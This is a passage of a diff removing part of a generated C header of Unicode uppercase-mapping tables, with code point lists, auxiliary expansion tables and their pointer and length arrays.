0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - UC_0 = 0, - UC_use_AUX_TABLE_1 = -1, - UC_use_AUX_TABLE_2 = -2, - UC_use_AUX_TABLE_3 = -3, - UC_use_AUX_TABLE_4 = -4, - UC_use_AUX_TABLE_5 = -5, - UC_use_AUX_TABLE_6 = -6, - UC_use_AUX_TABLE_7 = -7, - UC_use_AUX_TABLE_8 = -8, - UC_use_AUX_TABLE_9 = -9, - UC_use_AUX_TABLE_10 = -10, - UC_use_AUX_TABLE_11 = -11, - UC_use_AUX_TABLE_12 = -12, - UC_use_AUX_TABLE_13 = -13, - UC_use_AUX_TABLE_14 = -14, - UC_use_AUX_TABLE_15 = -15, - UC_use_AUX_TABLE_16 = -16, - UC_use_AUX_TABLE_17 = -17, - UC_use_AUX_TABLE_18 = -18, - UC_use_AUX_TABLE_19 = -19, - UC_use_AUX_TABLE_20 = -20, - UC_use_AUX_TABLE_21 = -21, - UC_use_AUX_TABLE_22 = -22, - UC_use_AUX_TABLE_23 = -23, - UC_use_AUX_TABLE_24 = -24, - UC_use_AUX_TABLE_25 = -25, - UC_use_AUX_TABLE_26 = -26, - UC_use_AUX_TABLE_27 = -27, - UC_use_AUX_TABLE_28 = -28, - UC_use_AUX_TABLE_29 = -29, - UC_use_AUX_TABLE_30 = -30, - UC_use_AUX_TABLE_31 = -31, - UC_use_AUX_TABLE_32 = -32, - UC_use_AUX_TABLE_33 = -33, - UC_use_AUX_TABLE_34 = -34, - UC_use_AUX_TABLE_35 = -35, - UC_use_AUX_TABLE_36 = -36, - UC_use_AUX_TABLE_37 = -37, - UC_use_AUX_TABLE_38 = -38, - UC_use_AUX_TABLE_39 = -39, - UC_use_AUX_TABLE_40 = -40, - UC_use_AUX_TABLE_41 = -41, - UC_use_AUX_TABLE_42 = -42, - UC_use_AUX_TABLE_43 = -43, - UC_use_AUX_TABLE_44 = -44, - UC_use_AUX_TABLE_45 = -45, - UC_use_AUX_TABLE_46 = -46, - UC_use_AUX_TABLE_47 = -47, - UC_use_AUX_TABLE_48 = -48, - UC_use_AUX_TABLE_49 = -49, - UC_use_AUX_TABLE_50 = -50, - UC_use_AUX_TABLE_51 = -51, - UC_use_AUX_TABLE_52 = -52, - UC_use_AUX_TABLE_53 = -53, - UC_use_AUX_TABLE_54 = -54, - UC_use_AUX_TABLE_55 = -55, - UC_use_AUX_TABLE_56 = -56, - UC_use_AUX_TABLE_57 = -57, - UC_use_AUX_TABLE_58 = -58, - UC_use_AUX_TABLE_59 = -59, - UC_use_AUX_TABLE_60 = -60, - UC_use_AUX_TABLE_61 = -61, - UC_use_AUX_TABLE_62 = -62, - UC_use_AUX_TABLE_63 = -63, - UC_use_AUX_TABLE_64 = -64, - UC_use_AUX_TABLE_65 = -65, - UC_use_AUX_TABLE_66 = -66, - UC_use_AUX_TABLE_67 = -67, - UC_use_AUX_TABLE_68 = -68, - UC_use_AUX_TABLE_69 = -69, - UC_use_AUX_TABLE_70 = -70, - UC_use_AUX_TABLE_71 = -71, - UC_use_AUX_TABLE_72 = -72 -} UC_enum; - -#define HAS_UC_AUX_TABLES - -static const unsigned int UC_AUX_TABLE_1[] = { - 0x53, - 0x53 -}; - -static const unsigned int UC_AUX_TABLE_2[] = { - 0x2BC, - 0x4E -}; - -static const unsigned int UC_AUX_TABLE_3[] = { - 0x4A, - 0x30C -}; - -static const unsigned int UC_AUX_TABLE_4[] = { - 0x399, - 0x308, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_5[] = { - 0x3A5, - 0x308, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_6[] = { - 0x535, - 0x552 -}; - -static const unsigned int UC_AUX_TABLE_7[] = { - 0x48, - 0x331 -}; - -static const unsigned int UC_AUX_TABLE_8[] = { - 0x54, - 0x308 -}; - -static const unsigned int UC_AUX_TABLE_9[] = { - 0x57, - 0x30A -}; - -static const unsigned int UC_AUX_TABLE_10[] = { - 0x59, - 0x30A -}; - -static const unsigned int UC_AUX_TABLE_11[] = { - 0x41, - 0x2BE -}; - -static const unsigned int UC_AUX_TABLE_12[] = { - 0x3A5, - 0x313 -}; - -static const unsigned int UC_AUX_TABLE_13[] = { - 0x3A5, - 0x313, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_14[] = { - 0x3A5, - 0x313, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_15[] = { - 0x3A5, - 0x313, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_16[] = { - 0x1F08, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_17[] = { - 0x1F09, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_18[] = { - 0x1F0A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_19[] = { - 0x1F0B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_20[] = { - 0x1F0C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_21[] = { - 0x1F0D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_22[] = { - 0x1F0E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_23[] = { - 0x1F0F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_24[] = { - 0x1F28, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_25[] = { - 0x1F29, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_26[] = { - 0x1F2A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_27[] = { - 0x1F2B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_28[] = { - 0x1F2C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_29[] = { - 0x1F2D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_30[] = { - 0x1F2E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_31[] = { - 0x1F2F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_32[] = { - 0x1F68, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_33[] = { - 0x1F69, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_34[] = { - 0x1F6A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_35[] = { - 0x1F6B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_36[] = { - 0x1F6C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_37[] = { - 0x1F6D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_38[] = { - 0x1F6E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_39[] = { - 0x1F6F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_40[] = { - 0x1FBA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_41[] = { - 0x391, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_42[] = { - 0x386, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_43[] = { - 0x391, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_44[] = { - 0x391, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_45[] = { - 0x1FCA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_46[] = { - 0x397, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_47[] = { - 0x389, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_48[] = { - 0x397, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_49[] = { - 0x397, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_50[] = { - 0x399, - 0x308, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_51[] = { - 0x399, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_52[] = { - 0x399, - 0x308, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_53[] = { - 0x3A5, - 0x308, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_54[] = { - 0x3A1, - 0x313 -}; - -static const unsigned int UC_AUX_TABLE_55[] = { - 0x3A5, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_56[] = { - 0x3A5, - 0x308, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_57[] = { - 0x1FFA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_58[] = { - 0x3A9, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_59[] = { - 0x38F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_60[] = { - 0x3A9, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_61[] = { - 0x3A9, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_62[] = { - 0x46, - 0x46 -}; - -static const unsigned int UC_AUX_TABLE_63[] = { - 0x46, - 0x49 -}; - -static const unsigned int UC_AUX_TABLE_64[] = { - 0x46, - 0x4C -}; - -static const unsigned int UC_AUX_TABLE_65[] = { - 0x46, - 0x46, - 0x49 -}; - -static const unsigned int UC_AUX_TABLE_66[] = { - 0x46, - 0x46, - 0x4C -}; - -static const unsigned int UC_AUX_TABLE_67[] = { - 0x53, - 0x54 -}; - -static const unsigned int UC_AUX_TABLE_68[] = { - 0x544, - 0x546 -}; - -static const unsigned int UC_AUX_TABLE_69[] = { - 0x544, - 0x535 -}; - -static const unsigned int UC_AUX_TABLE_70[] = { - 0x544, - 0x53B -}; - -static const unsigned int UC_AUX_TABLE_71[] = { - 0x54E, - 0x546 -}; - -static const unsigned int UC_AUX_TABLE_72[] = { - 0x544, - 0x53D -}; - -static const unsigned int * const UC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - UC_AUX_TABLE_1, - UC_AUX_TABLE_2, - UC_AUX_TABLE_3, - UC_AUX_TABLE_4, - UC_AUX_TABLE_5, - UC_AUX_TABLE_6, - UC_AUX_TABLE_7, - UC_AUX_TABLE_8, - UC_AUX_TABLE_9, - UC_AUX_TABLE_10, - UC_AUX_TABLE_11, - UC_AUX_TABLE_12, - UC_AUX_TABLE_13, - UC_AUX_TABLE_14, - UC_AUX_TABLE_15, - UC_AUX_TABLE_16, - UC_AUX_TABLE_17, - UC_AUX_TABLE_18, - UC_AUX_TABLE_19, - UC_AUX_TABLE_20, - UC_AUX_TABLE_21, - UC_AUX_TABLE_22, - UC_AUX_TABLE_23, - UC_AUX_TABLE_24, - UC_AUX_TABLE_25, - UC_AUX_TABLE_26, - UC_AUX_TABLE_27, - UC_AUX_TABLE_28, - UC_AUX_TABLE_29, - UC_AUX_TABLE_30, - UC_AUX_TABLE_31, - UC_AUX_TABLE_32, - UC_AUX_TABLE_33, - UC_AUX_TABLE_34, - UC_AUX_TABLE_35, - UC_AUX_TABLE_36, - UC_AUX_TABLE_37, - UC_AUX_TABLE_38, - UC_AUX_TABLE_39, - UC_AUX_TABLE_40, - UC_AUX_TABLE_41, - UC_AUX_TABLE_42, - UC_AUX_TABLE_43, - UC_AUX_TABLE_44, - UC_AUX_TABLE_45, - UC_AUX_TABLE_46, - UC_AUX_TABLE_47, - UC_AUX_TABLE_48, - UC_AUX_TABLE_49, - UC_AUX_TABLE_50, - UC_AUX_TABLE_51, - UC_AUX_TABLE_52, - UC_AUX_TABLE_53, - UC_AUX_TABLE_54, - UC_AUX_TABLE_55, - UC_AUX_TABLE_56, - UC_AUX_TABLE_57, - UC_AUX_TABLE_58, - UC_AUX_TABLE_59, - UC_AUX_TABLE_60, - UC_AUX_TABLE_61, - UC_AUX_TABLE_62, - UC_AUX_TABLE_63, - UC_AUX_TABLE_64, - UC_AUX_TABLE_65, - UC_AUX_TABLE_66, - UC_AUX_TABLE_67, - UC_AUX_TABLE_68, - UC_AUX_TABLE_69, - UC_AUX_TABLE_70, - UC_AUX_TABLE_71, - UC_AUX_TABLE_72 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 UC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* UC_AUX_TABLE_1 */, - 2 /* UC_AUX_TABLE_2 */, - 2 /* UC_AUX_TABLE_3 */, - 3 /* UC_AUX_TABLE_4 */, - 3 /* UC_AUX_TABLE_5 */, - 2 /* UC_AUX_TABLE_6 */, - 2 /* UC_AUX_TABLE_7 */, - 2 /* UC_AUX_TABLE_8 */, - 2 /* UC_AUX_TABLE_9 */, - 2 /* UC_AUX_TABLE_10 */, - 2 /* UC_AUX_TABLE_11 */, - 2 /* UC_AUX_TABLE_12 */, - 3 /* UC_AUX_TABLE_13 */, - 3 /* UC_AUX_TABLE_14 */, - 3 /* UC_AUX_TABLE_15 */, - 2 /* UC_AUX_TABLE_16 */, - 2 /* UC_AUX_TABLE_17 */, - 2 /* UC_AUX_TABLE_18 */, - 2 /* UC_AUX_TABLE_19 */, - 2 /* UC_AUX_TABLE_20 */, - 2 /* UC_AUX_TABLE_21 */, - 2 /* UC_AUX_TABLE_22 */, - 2 /* UC_AUX_TABLE_23 */, - 2 /* UC_AUX_TABLE_24 */, - 2 /* UC_AUX_TABLE_25 */, - 2 /* UC_AUX_TABLE_26 */, - 2 /* UC_AUX_TABLE_27 */, - 2 /* UC_AUX_TABLE_28 */, - 2 /* UC_AUX_TABLE_29 */, - 2 /* UC_AUX_TABLE_30 */, - 2 /* UC_AUX_TABLE_31 */, - 2 /* UC_AUX_TABLE_32 */, - 2 /* UC_AUX_TABLE_33 */, - 2 /* UC_AUX_TABLE_34 */, - 2 /* UC_AUX_TABLE_35 */, - 2 /* UC_AUX_TABLE_36 */, - 2 /* UC_AUX_TABLE_37 */, - 2 /* UC_AUX_TABLE_38 */, - 2 /* UC_AUX_TABLE_39 */, - 2 /* UC_AUX_TABLE_40 */, - 2 /* UC_AUX_TABLE_41 */, - 2 /* UC_AUX_TABLE_42 */, - 2 /* UC_AUX_TABLE_43 */, - 3 /* UC_AUX_TABLE_44 */, - 2 /* UC_AUX_TABLE_45 */, - 2 /* UC_AUX_TABLE_46 */, - 2 /* UC_AUX_TABLE_47 */, - 2 /* UC_AUX_TABLE_48 */, - 3 /* UC_AUX_TABLE_49 */, - 3 /* UC_AUX_TABLE_50 */, - 2 /* UC_AUX_TABLE_51 */, - 3 /* UC_AUX_TABLE_52 */, - 3 /* UC_AUX_TABLE_53 */, - 2 /* UC_AUX_TABLE_54 */, - 2 /* UC_AUX_TABLE_55 */, - 3 /* UC_AUX_TABLE_56 */, - 2 /* UC_AUX_TABLE_57 */, - 2 /* UC_AUX_TABLE_58 */, - 2 /* UC_AUX_TABLE_59 */, - 2 /* UC_AUX_TABLE_60 */, - 3 /* UC_AUX_TABLE_61 */, - 2 /* UC_AUX_TABLE_62 */, - 2 /* UC_AUX_TABLE_63 */, - 2 /* UC_AUX_TABLE_64 */, - 3 /* UC_AUX_TABLE_65 */, - 3 /* UC_AUX_TABLE_66 */, - 2 /* UC_AUX_TABLE_67 */, - 2 /* UC_AUX_TABLE_68 */, - 2 /* UC_AUX_TABLE_69 */, - 2 /* UC_AUX_TABLE_70 */, - 2 /* UC_AUX_TABLE_71 */, - 2 /* UC_AUX_TABLE_72 */ -}; - -static const int Uppercase_Mapping_invmap[] = { /* for ASCII/Latin1 */ - 0, - 0x41, - 0, - 0x39C, - 0, - UC_use_AUX_TABLE_1, - 0xC0, - 0, - 0xD8, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0x49, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - UC_use_AUX_TABLE_2, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0x53, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - 0x1C4, - 0x1C4, - 0, - 0x1C7, - 0x1C7, - 0, - 0x1CA, - 0x1CA, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - UC_use_AUX_TABLE_3, - 0, - 0x1F1, - 0x1F1, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x399, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - UC_use_AUX_TABLE_4, - 0, - 0x386, - 0x388, - UC_use_AUX_TABLE_5, - 0x391, - 0x3A3, - 0x3A3, - 0x38C, - 0x38E, - 0, - 0x392, - 0x398, - 0, - 0x3A6, - 0x3A0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0x39A, - 0x3A1, - 0x3F9, - 0x37F, - 0, - 0x395, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - 0x400, - 0, - 0x460, - 0, - 0x462, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - UC_use_AUX_TABLE_6, - 0, - 0x13F0, - 0, - 0x412, - 0x414, - 0x41E, - 0x421, - 0x422, - 0x42A, - 0x462, - 0xA64A, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - 0x1E60, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - UC_use_AUX_TABLE_7, - UC_use_AUX_TABLE_8, - UC_use_AUX_TABLE_9, - UC_use_AUX_TABLE_10, - UC_use_AUX_TABLE_11, - 0x1E60, - 0, - 0x1EA0, - 0, - 